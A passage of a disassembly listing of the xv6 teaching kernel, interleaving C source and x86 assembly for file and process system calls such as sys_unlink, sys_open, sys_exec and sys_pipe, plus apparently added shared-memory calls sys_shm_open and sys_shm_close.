80104c0e: 89 04 24 mov %eax,(%esp)
80104c11: e8 7a ca ff ff call 80101690 <ilock>
if(ip->nlink < 1)
80104c16: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80104c1b: 0f 8e 24 01 00 00 jle 80104d45 <sys_unlink+0x1d5>
if(ip->type == T_DIR && !isdirempty(ip)){
80104c21: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104c26: 8d 75 d8 lea -0x28(%ebp),%esi
80104c29: 74 7d je 80104ca8 <sys_unlink+0x138>
memset(&de, 0, sizeof(de));
80104c2b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104c32: 00
80104c33: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80104c3a: 00
80104c3b: 89 34 24 mov %esi,(%esp)
80104c3e: e8 1d f6 ff ff call 80104260 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104c43: 8b 45 c4 mov -0x3c(%ebp),%eax
80104c46: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80104c4d: 00
80104c4e: 89 74 24 04 mov %esi,0x4(%esp)
80104c52: 89 44 24 08 mov %eax,0x8(%esp)
80104c56: 8b 45 b4 mov -0x4c(%ebp),%eax
80104c59: 89 04 24 mov %eax,(%esp)
80104c5c: e8 df cd ff ff call 80101a40 <writei>
80104c61: 83 f8 10 cmp $0x10,%eax
80104c64: 0f 85 cf 00 00 00 jne 80104d39 <sys_unlink+0x1c9>
if(ip->type == T_DIR){
80104c6a: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104c6f: 0f 84 a3 00 00 00 je 80104d18 <sys_unlink+0x1a8>
iunlockput(dp);
80104c75: 8b 45 b4 mov -0x4c(%ebp),%eax
80104c78: 89 04 24 mov %eax,(%esp)
80104c7b: e8 70 cc ff ff call 801018f0 <iunlockput>
ip->nlink--;
80104c80: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104c85: 89 1c 24 mov %ebx,(%esp)
80104c88: e8 43 c9 ff ff call 801015d0 <iupdate>
iunlockput(ip);
80104c8d: 89 1c 24 mov %ebx,(%esp)
80104c90: e8 5b cc ff ff call 801018f0 <iunlockput>
end_op();
80104c95: e8 c6 de ff ff call 80102b60 <end_op>
}
80104c9a: 83 c4 5c add $0x5c,%esp
return 0;
80104c9d: 31 c0 xor %eax,%eax
}
80104c9f: 5b pop %ebx
80104ca0: 5e pop %esi
80104ca1: 5f pop %edi
80104ca2: 5d pop %ebp
80104ca3: c3 ret
80104ca4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80104ca8: 83 7b 58 20 cmpl $0x20,0x58(%ebx)
80104cac: 0f 86 79 ff ff ff jbe 80104c2b <sys_unlink+0xbb>
80104cb2: bf 20 00 00 00 mov $0x20,%edi
80104cb7: eb 15 jmp 80104cce <sys_unlink+0x15e>
80104cb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104cc0: 8d 57 10 lea 0x10(%edi),%edx
80104cc3: 3b 53 58 cmp 0x58(%ebx),%edx
80104cc6: 0f 83 5f ff ff ff jae 80104c2b <sys_unlink+0xbb>
80104ccc: 89 d7 mov %edx,%edi
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104cce: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80104cd5: 00
80104cd6: 89 7c 24 08 mov %edi,0x8(%esp)
80104cda: 89 74 24 04 mov %esi,0x4(%esp)
80104cde: 89 1c 24 mov %ebx,(%esp)
80104ce1: e8 5a cc ff ff call 80101940 <readi>
80104ce6: 83 f8 10 cmp $0x10,%eax
80104ce9: 75 42 jne 80104d2d <sys_unlink+0x1bd>
if(de.inum != 0)
80104ceb: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80104cf0: 74 ce je 80104cc0 <sys_unlink+0x150>
iunlockput(ip);
80104cf2: 89 1c 24 mov %ebx,(%esp)
80104cf5: e8 f6 cb ff ff call 801018f0 <iunlockput>
iunlockput(dp);
80104cfa: 8b 45 b4 mov -0x4c(%ebp),%eax
80104cfd: 89 04 24 mov %eax,(%esp)
80104d00: e8 eb cb ff ff call 801018f0 <iunlockput>
end_op();
80104d05: e8 56 de ff ff call 80102b60 <end_op>
}
80104d0a: 83 c4 5c add $0x5c,%esp
return -1;
80104d0d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104d12: 5b pop %ebx
80104d13: 5e pop %esi
80104d14: 5f pop %edi
80104d15: 5d pop %ebp
80104d16: c3 ret
80104d17: 90 nop
dp->nlink--;
80104d18: 8b 45 b4 mov -0x4c(%ebp),%eax
80104d1b: 66 83 68 56 01 subw $0x1,0x56(%eax)
iupdate(dp);
80104d20: 89 04 24 mov %eax,(%esp)
80104d23: e8 a8 c8 ff ff call 801015d0 <iupdate>
80104d28: e9 48 ff ff ff jmp 80104c75 <sys_unlink+0x105>
panic("isdirempty: readi");
80104d2d: c7 04 24 80 75 10 80 movl $0x80107580,(%esp)
80104d34: e8 27 b6 ff ff call 80100360 <panic>
panic("unlink: writei");
80104d39: c7 04 24 92 75 10 80 movl $0x80107592,(%esp)
80104d40: e8 1b b6 ff ff call 80100360 <panic>
panic("unlink: nlink < 1");
80104d45: c7 04 24 6e 75 10 80 movl $0x8010756e,(%esp)
80104d4c: e8 0f b6 ff ff call 80100360 <panic>
80104d51: eb 0d jmp 80104d60 <sys_open>
80104d53: 90 nop
80104d54: 90 nop
80104d55: 90 nop
80104d56: 90 nop
80104d57: 90 nop
80104d58: 90 nop
80104d59: 90 nop
80104d5a: 90 nop
80104d5b: 90 nop
80104d5c: 90 nop
80104d5d: 90 nop
80104d5e: 90 nop
80104d5f: 90 nop
80104d60 <sys_open>:
int
sys_open(void)
{
80104d60: 55 push %ebp
80104d61: 89 e5 mov %esp,%ebp
80104d63: 57 push %edi
80104d64: 56 push %esi
80104d65: 53 push %ebx
80104d66: 83 ec 2c sub $0x2c,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
80104d69: 8d 45 e0 lea -0x20(%ebp),%eax
80104d6c: 89 44 24 04 mov %eax,0x4(%esp)
80104d70: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104d77: e8 24 f8 ff ff call 801045a0 <argstr>
80104d7c: 85 c0 test %eax,%eax
80104d7e: 0f 88 d1 00 00 00 js 80104e55 <sys_open+0xf5>
80104d84: 8d 45 e4 lea -0x1c(%ebp),%eax
80104d87: 89 44 24 04 mov %eax,0x4(%esp)
80104d8b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104d92: e8 79 f7 ff ff call 80104510 <argint>
80104d97: 85 c0 test %eax,%eax
80104d99: 0f 88 b6 00 00 00 js 80104e55 <sys_open+0xf5>
return -1;
begin_op();
80104d9f: e8 4c dd ff ff call 80102af0 <begin_op>
if(omode & O_CREATE){
80104da4: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
80104da8: 0f 85 82 00 00 00 jne 80104e30 <sys_open+0xd0>
if(ip == 0){
end_op();
return -1;
}
} else {
if((ip = namei(path)) == 0){
80104dae: 8b 45 e0 mov -0x20(%ebp),%eax
80104db1: 89 04 24 mov %eax,(%esp)
80104db4: e8 27 d1 ff ff call 80101ee0 <namei>
80104db9: 85 c0 test %eax,%eax
80104dbb: 89 c6 mov %eax,%esi
80104dbd: 0f 84 8d 00 00 00 je 80104e50 <sys_open+0xf0>
end_op();
return -1;
}
ilock(ip);
80104dc3: 89 04 24 mov %eax,(%esp)
80104dc6: e8 c5 c8 ff ff call 80101690 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80104dcb: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80104dd0: 0f 84 92 00 00 00 je 80104e68 <sys_open+0x108>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80104dd6: e8 65 bf ff ff call 80100d40 <filealloc>
80104ddb: 85 c0 test %eax,%eax
80104ddd: 89 c3 mov %eax,%ebx
80104ddf: 0f 84 93 00 00 00 je 80104e78 <sys_open+0x118>
80104de5: e8 86 f8 ff ff call 80104670 <fdalloc>
80104dea: 85 c0 test %eax,%eax
80104dec: 89 c7 mov %eax,%edi
80104dee: 0f 88 94 00 00 00 js 80104e88 <sys_open+0x128>
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80104df4: 89 34 24 mov %esi,(%esp)
80104df7: e8 74 c9 ff ff call 80101770 <iunlock>
end_op();
80104dfc: e8 5f dd ff ff call 80102b60 <end_op>
f->type = FD_INODE;
80104e01: c7 03 02 00 00 00 movl $0x2,(%ebx)
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
80104e07: 8b 45 e4 mov -0x1c(%ebp),%eax
f->ip = ip;
80104e0a: 89 73 10 mov %esi,0x10(%ebx)
f->off = 0;
80104e0d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
f->readable = !(omode & O_WRONLY);
80104e14: 89 c2 mov %eax,%edx
80104e16: 83 e2 01 and $0x1,%edx
80104e19: 83 f2 01 xor $0x1,%edx
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80104e1c: a8 03 test $0x3,%al
f->readable = !(omode & O_WRONLY);
80104e1e: 88 53 08 mov %dl,0x8(%ebx)
return fd;
80104e21: 89 f8 mov %edi,%eax
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80104e23: 0f 95 43 09 setne 0x9(%ebx)
}
80104e27: 83 c4 2c add $0x2c,%esp
80104e2a: 5b pop %ebx
80104e2b: 5e pop %esi
80104e2c: 5f pop %edi
80104e2d: 5d pop %ebp
80104e2e: c3 ret
80104e2f: 90 nop
ip = create(path, T_FILE, 0, 0);
80104e30: 8b 45 e0 mov -0x20(%ebp),%eax
80104e33: 31 c9 xor %ecx,%ecx
80104e35: ba 02 00 00 00 mov $0x2,%edx
80104e3a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104e41: e8 6a f8 ff ff call 801046b0 <create>
if(ip == 0){
80104e46: 85 c0 test %eax,%eax
ip = create(path, T_FILE, 0, 0);
80104e48: 89 c6 mov %eax,%esi
if(ip == 0){
80104e4a: 75 8a jne 80104dd6 <sys_open+0x76>
80104e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
80104e50: e8 0b dd ff ff call 80102b60 <end_op>
}
80104e55: 83 c4 2c add $0x2c,%esp
return -1;
80104e58: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104e5d: 5b pop %ebx
80104e5e: 5e pop %esi
80104e5f: 5f pop %edi
80104e60: 5d pop %ebp
80104e61: c3 ret
80104e62: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(ip->type == T_DIR && omode != O_RDONLY){
80104e68: 8b 45 e4 mov -0x1c(%ebp),%eax
80104e6b: 85 c0 test %eax,%eax
80104e6d: 0f 84 63 ff ff ff je 80104dd6 <sys_open+0x76>
80104e73: 90 nop
80104e74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
iunlockput(ip);
80104e78: 89 34 24 mov %esi,(%esp)
80104e7b: e8 70 ca ff ff call 801018f0 <iunlockput>
80104e80: eb ce jmp 80104e50 <sys_open+0xf0>
80104e82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
fileclose(f);
80104e88: 89 1c 24 mov %ebx,(%esp)
80104e8b: e8 70 bf ff ff call 80100e00 <fileclose>
80104e90: eb e6 jmp 80104e78 <sys_open+0x118>
80104e92: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104e99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104ea0 <sys_mkdir>:
int
sys_mkdir(void)
{
80104ea0: 55 push %ebp
80104ea1: 89 e5 mov %esp,%ebp
80104ea3: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80104ea6: e8 45 dc ff ff call 80102af0 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
80104eab: 8d 45 f4 lea -0xc(%ebp),%eax
80104eae: 89 44 24 04 mov %eax,0x4(%esp)
80104eb2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104eb9: e8 e2 f6 ff ff call 801045a0 <argstr>
80104ebe: 85 c0 test %eax,%eax
80104ec0: 78 2e js 80104ef0 <sys_mkdir+0x50>
80104ec2: 8b 45 f4 mov -0xc(%ebp),%eax
80104ec5: 31 c9 xor %ecx,%ecx
80104ec7: ba 01 00 00 00 mov $0x1,%edx
80104ecc: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104ed3: e8 d8 f7 ff ff call 801046b0 <create>
80104ed8: 85 c0 test %eax,%eax
80104eda: 74 14 je 80104ef0 <sys_mkdir+0x50>
end_op();
return -1;
}
iunlockput(ip);
80104edc: 89 04 24 mov %eax,(%esp)
80104edf: e8 0c ca ff ff call 801018f0 <iunlockput>
end_op();
80104ee4: e8 77 dc ff ff call 80102b60 <end_op>
return 0;
80104ee9: 31 c0 xor %eax,%eax
}
80104eeb: c9 leave
80104eec: c3 ret
80104eed: 8d 76 00 lea 0x0(%esi),%esi
end_op();
80104ef0: e8 6b dc ff ff call 80102b60 <end_op>
return -1;
80104ef5: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104efa: c9 leave
80104efb: c3 ret
80104efc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104f00 <sys_mknod>:
int
sys_mknod(void)
{
80104f00: 55 push %ebp
80104f01: 89 e5 mov %esp,%ebp
80104f03: 83 ec 28 sub $0x28,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
80104f06: e8 e5 db ff ff call 80102af0 <begin_op>
if((argstr(0, &path)) < 0 ||
80104f0b: 8d 45 ec lea -0x14(%ebp),%eax
80104f0e: 89 44 24 04 mov %eax,0x4(%esp)
80104f12: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104f19: e8 82 f6 ff ff call 801045a0 <argstr>
80104f1e: 85 c0 test %eax,%eax
80104f20: 78 5e js 80104f80 <sys_mknod+0x80>
argint(1, &major) < 0 ||
80104f22: 8d 45 f0 lea -0x10(%ebp),%eax
80104f25: 89 44 24 04 mov %eax,0x4(%esp)
80104f29: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104f30: e8 db f5 ff ff call 80104510 <argint>
if((argstr(0, &path)) < 0 ||
80104f35: 85 c0 test %eax,%eax
80104f37: 78 47 js 80104f80 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
80104f39: 8d 45 f4 lea -0xc(%ebp),%eax
80104f3c: 89 44 24 04 mov %eax,0x4(%esp)
80104f40: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104f47: e8 c4 f5 ff ff call 80104510 <argint>
argint(1, &major) < 0 ||
80104f4c: 85 c0 test %eax,%eax
80104f4e: 78 30 js 80104f80 <sys_mknod+0x80>
(ip = create(path, T_DEV, major, minor)) == 0){
80104f50: 0f bf 45 f4 movswl -0xc(%ebp),%eax
argint(2, &minor) < 0 ||
80104f54: ba 03 00 00 00 mov $0x3,%edx
(ip = create(path, T_DEV, major, minor)) == 0){
80104f59: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
80104f5d: 89 04 24 mov %eax,(%esp)
argint(2, &minor) < 0 ||
80104f60: 8b 45 ec mov -0x14(%ebp),%eax
80104f63: e8 48 f7 ff ff call 801046b0 <create>
80104f68: 85 c0 test %eax,%eax
80104f6a: 74 14 je 80104f80 <sys_mknod+0x80>
end_op();
return -1;
}
iunlockput(ip);
80104f6c: 89 04 24 mov %eax,(%esp)
80104f6f: e8 7c c9 ff ff call 801018f0 <iunlockput>
end_op();
80104f74: e8 e7 db ff ff call 80102b60 <end_op>
return 0;
80104f79: 31 c0 xor %eax,%eax
}
80104f7b: c9 leave
80104f7c: c3 ret
80104f7d: 8d 76 00 lea 0x0(%esi),%esi
end_op();
80104f80: e8 db db ff ff call 80102b60 <end_op>
return -1;
80104f85: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104f8a: c9 leave
80104f8b: c3 ret
80104f8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104f90 <sys_chdir>:
int
sys_chdir(void)
{
80104f90: 55 push %ebp
80104f91: 89 e5 mov %esp,%ebp
80104f93: 56 push %esi
80104f94: 53 push %ebx
80104f95: 83 ec 20 sub $0x20,%esp
char *path;
struct inode *ip;
struct proc *curproc = myproc();
80104f98: e8 e3 e6 ff ff call 80103680 <myproc>
80104f9d: 89 c6 mov %eax,%esi
begin_op();
80104f9f: e8 4c db ff ff call 80102af0 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80104fa4: 8d 45 f4 lea -0xc(%ebp),%eax
80104fa7: 89 44 24 04 mov %eax,0x4(%esp)
80104fab: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104fb2: e8 e9 f5 ff ff call 801045a0 <argstr>
80104fb7: 85 c0 test %eax,%eax
80104fb9: 78 4a js 80105005 <sys_chdir+0x75>
80104fbb: 8b 45 f4 mov -0xc(%ebp),%eax
80104fbe: 89 04 24 mov %eax,(%esp)
80104fc1: e8 1a cf ff ff call 80101ee0 <namei>
80104fc6: 85 c0 test %eax,%eax
80104fc8: 89 c3 mov %eax,%ebx
80104fca: 74 39 je 80105005 <sys_chdir+0x75>
end_op();
return -1;
}
ilock(ip);
80104fcc: 89 04 24 mov %eax,(%esp)
80104fcf: e8 bc c6 ff ff call 80101690 <ilock>
if(ip->type != T_DIR){
80104fd4: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
iunlockput(ip);
80104fd9: 89 1c 24 mov %ebx,(%esp)
if(ip->type != T_DIR){
80104fdc: 75 22 jne 80105000 <sys_chdir+0x70>
end_op();
return -1;
}
iunlock(ip);
80104fde: e8 8d c7 ff ff call 80101770 <iunlock>
iput(curproc->cwd);
80104fe3: 8b 46 68 mov 0x68(%esi),%eax
80104fe6: 89 04 24 mov %eax,(%esp)
80104fe9: e8 c2 c7 ff ff call 801017b0 <iput>
end_op();
80104fee: e8 6d db ff ff call 80102b60 <end_op>
curproc->cwd = ip;
return 0;
80104ff3: 31 c0 xor %eax,%eax
curproc->cwd = ip;
80104ff5: 89 5e 68 mov %ebx,0x68(%esi)
}
80104ff8: 83 c4 20 add $0x20,%esp
80104ffb: 5b pop %ebx
80104ffc: 5e pop %esi
80104ffd: 5d pop %ebp
80104ffe: c3 ret
80104fff: 90 nop
iunlockput(ip);
80105000: e8 eb c8 ff ff call 801018f0 <iunlockput>
end_op();
80105005: e8 56 db ff ff call 80102b60 <end_op>
}
8010500a: 83 c4 20 add $0x20,%esp
return -1;
8010500d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105012: 5b pop %ebx
80105013: 5e pop %esi
80105014: 5d pop %ebp
80105015: c3 ret
80105016: 8d 76 00 lea 0x0(%esi),%esi
80105019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105020 <sys_exec>:
int
sys_exec(void)
{
80105020: 55 push %ebp
80105021: 89 e5 mov %esp,%ebp
80105023: 57 push %edi
80105024: 56 push %esi
80105025: 53 push %ebx
80105026: 81 ec ac 00 00 00 sub $0xac,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
8010502c: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax
80105032: 89 44 24 04 mov %eax,0x4(%esp)
80105036: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010503d: e8 5e f5 ff ff call 801045a0 <argstr>
80105042: 85 c0 test %eax,%eax
80105044: 0f 88 84 00 00 00 js 801050ce <sys_exec+0xae>
8010504a: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax
80105050: 89 44 24 04 mov %eax,0x4(%esp)
80105054: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010505b: e8 b0 f4 ff ff call 80104510 <argint>
80105060: 85 c0 test %eax,%eax
80105062: 78 6a js 801050ce <sys_exec+0xae>
return -1;
}
memset(argv, 0, sizeof(argv));
80105064: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
for(i=0;; i++){
8010506a: 31 db xor %ebx,%ebx
memset(argv, 0, sizeof(argv));
8010506c: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
80105073: 00
80105074: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi
8010507a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105081: 00
80105082: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi
80105088: 89 04 24 mov %eax,(%esp)
8010508b: e8 d0 f1 ff ff call 80104260 <memset>
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80105090: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax
80105096: 89 7c 24 04 mov %edi,0x4(%esp)
8010509a: 8d 04 98 lea (%eax,%ebx,4),%eax
8010509d: 89 04 24 mov %eax,(%esp)
801050a0: e8 0b f4 ff ff call 801044b0 <fetchint>
801050a5: 85 c0 test %eax,%eax
801050a7: 78 25 js 801050ce <sys_exec+0xae>
return -1;
if(uarg == 0){
801050a9: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax
801050af: 85 c0 test %eax,%eax
801050b1: 74 2d je 801050e0 <sys_exec+0xc0>
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
801050b3: 89 74 24 04 mov %esi,0x4(%esp)
801050b7: 89 04 24 mov %eax,(%esp)
801050ba: e8 11 f4 ff ff call 801044d0 <fetchstr>
801050bf: 85 c0 test %eax,%eax
801050c1: 78 0b js 801050ce <sys_exec+0xae>
for(i=0;; i++){
801050c3: 83 c3 01 add $0x1,%ebx
801050c6: 83 c6 04 add $0x4,%esi
if(i >= NELEM(argv))
801050c9: 83 fb 20 cmp $0x20,%ebx
801050cc: 75 c2 jne 80105090 <sys_exec+0x70>
return -1;
}
return exec(path, argv);
}
801050ce: 81 c4 ac 00 00 00 add $0xac,%esp
return -1;
801050d4: b8 ff ff ff ff mov $0xffffffff,%eax
}
801050d9: 5b pop %ebx
801050da: 5e pop %esi
801050db: 5f pop %edi
801050dc: 5d pop %ebp
801050dd: c3 ret
801050de: 66 90 xchg %ax,%ax
return exec(path, argv);
801050e0: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
801050e6: 89 44 24 04 mov %eax,0x4(%esp)
801050ea: 8b 85 5c ff ff ff mov -0xa4(%ebp),%eax
argv[i] = 0;
801050f0: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4)
801050f7: 00 00 00 00
return exec(path, argv);
801050fb: 89 04 24 mov %eax,(%esp)
801050fe: e8 9d b8 ff ff call 801009a0 <exec>
}
80105103: 81 c4 ac 00 00 00 add $0xac,%esp
80105109: 5b pop %ebx
8010510a: 5e pop %esi
8010510b: 5f pop %edi
8010510c: 5d pop %ebp
8010510d: c3 ret
8010510e: 66 90 xchg %ax,%ax
80105110 <sys_pipe>:
int
sys_pipe(void)
{
80105110: 55 push %ebp
80105111: 89 e5 mov %esp,%ebp
80105113: 53 push %ebx
80105114: 83 ec 24 sub $0x24,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
80105117: 8d 45 ec lea -0x14(%ebp),%eax
8010511a: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
80105121: 00
80105122: 89 44 24 04 mov %eax,0x4(%esp)
80105126: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010512d: e8 1e f4 ff ff call 80104550 <argptr>
80105132: 85 c0 test %eax,%eax
80105134: 78 6d js 801051a3 <sys_pipe+0x93>
return -1;
if(pipealloc(&rf, &wf) < 0)
80105136: 8d 45 f4 lea -0xc(%ebp),%eax
80105139: 89 44 24 04 mov %eax,0x4(%esp)
8010513d: 8d 45 f0 lea -0x10(%ebp),%eax
80105140: 89 04 24 mov %eax,(%esp)
80105143: e8 08 e0 ff ff call 80103150 <pipealloc>
80105148: 85 c0 test %eax,%eax
8010514a: 78 57 js 801051a3 <sys_pipe+0x93>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
8010514c: 8b 45 f0 mov -0x10(%ebp),%eax
8010514f: e8 1c f5 ff ff call 80104670 <fdalloc>
80105154: 85 c0 test %eax,%eax
80105156: 89 c3 mov %eax,%ebx
80105158: 78 33 js 8010518d <sys_pipe+0x7d>
8010515a: 8b 45 f4 mov -0xc(%ebp),%eax
8010515d: e8 0e f5 ff ff call 80104670 <fdalloc>
80105162: 85 c0 test %eax,%eax
80105164: 78 1a js 80105180 <sys_pipe+0x70>
myproc()->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
80105166: 8b 55 ec mov -0x14(%ebp),%edx
80105169: 89 1a mov %ebx,(%edx)
fd[1] = fd1;
8010516b: 8b 55 ec mov -0x14(%ebp),%edx
8010516e: 89 42 04 mov %eax,0x4(%edx)
return 0;
}
80105171: 83 c4 24 add $0x24,%esp
return 0;
80105174: 31 c0 xor %eax,%eax
}
80105176: 5b pop %ebx
80105177: 5d pop %ebp
80105178: c3 ret
80105179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
myproc()->ofile[fd0] = 0;
80105180: e8 fb e4 ff ff call 80103680 <myproc>
80105185: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4)
8010518c: 00
fileclose(rf);
8010518d: 8b 45 f0 mov -0x10(%ebp),%eax
80105190: 89 04 24 mov %eax,(%esp)
80105193: e8 68 bc ff ff call 80100e00 <fileclose>
fileclose(wf);
80105198: 8b 45 f4 mov -0xc(%ebp),%eax
8010519b: 89 04 24 mov %eax,(%esp)
8010519e: e8 5d bc ff ff call 80100e00 <fileclose>
}
801051a3: 83 c4 24 add $0x24,%esp
return -1;
801051a6: b8 ff ff ff ff mov $0xffffffff,%eax
}
801051ab: 5b pop %ebx
801051ac: 5d pop %ebp
801051ad: c3 ret
801051ae: 66 90 xchg %ax,%ax
801051b0 <sys_shm_open>:
#include "param.h"
#include "memlayout.h"
#include "mmu.h"
#include "proc.h"
int sys_shm_open(void) {
801051b0: 55 push %ebp
801051b1: 89 e5 mov %esp,%ebp
801051b3: 83 ec 28 sub $0x28,%esp
int id;
char **pointer;
if(argint(0, &id) < 0)
801051b6: 8d 45 f0 lea -0x10(%ebp),%eax
801051b9: 89 44 24 04 mov %eax,0x4(%esp)
801051bd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801051c4: e8 47 f3 ff ff call 80104510 <argint>
801051c9: 85 c0 test %eax,%eax
801051cb: 78 33 js 80105200 <sys_shm_open+0x50>
return -1;
if(argptr(1, (char **) (&pointer),4)<0)
801051cd: 8d 45 f4 lea -0xc(%ebp),%eax
801051d0: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
801051d7: 00
801051d8: 89 44 24 04 mov %eax,0x4(%esp)
801051dc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801051e3: e8 68 f3 ff ff call 80104550 <argptr>
801051e8: 85 c0 test %eax,%eax
801051ea: 78 14 js 80105200 <sys_shm_open+0x50>
return -1;
return shm_open(id, pointer);
801051ec: 8b 45 f4 mov -0xc(%ebp),%eax
801051ef: 89 44 24 04 mov %eax,0x4(%esp)
801051f3: 8b 45 f0 mov -0x10(%ebp),%eax
801051f6: 89 04 24 mov %eax,(%esp)
801051f9: e8 d2 1b 00 00 call 80106dd0 <shm_open>
}
801051fe: c9 leave
801051ff: c3 ret
return -1;
80105200: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105205: c9 leave
80105206: c3 ret
80105207: 89 f6 mov %esi,%esi
80105209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105210 <sys_shm_close>:
int sys_shm_close(void) {
80105210: 55 push %ebp
80105211: 89 e5 mov %esp,%ebp
80105213: 83 ec 28 sub $0x28,%esp
int id;
if(argint(0, &id) < 0)
80105216: 8d 45 f4 lea -0xc(%ebp),%eax
80105219: 89 44 24 04 mov %eax,0x4(%esp)
8010521d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105224: e8 e7 f2 ff ff call 80104510 <argint>
80105229: 85 c0 test %eax,%eax
8010522b: 78 13 js 80105240 <sys_shm_close+0x30>
return -1;
return shm_close(id);
8010522d: 8b 45 f4 mov -0xc(%ebp),%eax
80105230: 89 04 24 mov %eax,(%esp)
80105233: e8 a8 1b 00 00 call 80106de0 <shm_close>
}
80105238: c9 leave
80105239: c3 ret
8010523a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80105240: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105245: c9 leave
80105246: c3 ret
80105247: 89 f6 mov %esi,%esi
80105249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105250 <sys_fork>:
int
sys_fork(void)
{
80105250: 55 push %ebp
80105251: 89 e5 mov %esp,%ebp
return fork();
}
80105253: 5d pop %ebp
return fork();
80105254: e9 d7 e5 ff ff jmp 80103830 <fork>
80105259: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105260 <sys_exit>:
int
sys_exit(void)
{
80105260: 55 push %ebp
80105261: 89 e5 mov %esp,%ebp
80105263: 83 ec 08 sub $0x8,%esp
exit();
80105266: e8 15 e8 ff ff call 80103a80 <exit>
return 0; // not reached
}
8010526b: 31 c0 xor %eax,%eax
8010526d: c9 leave
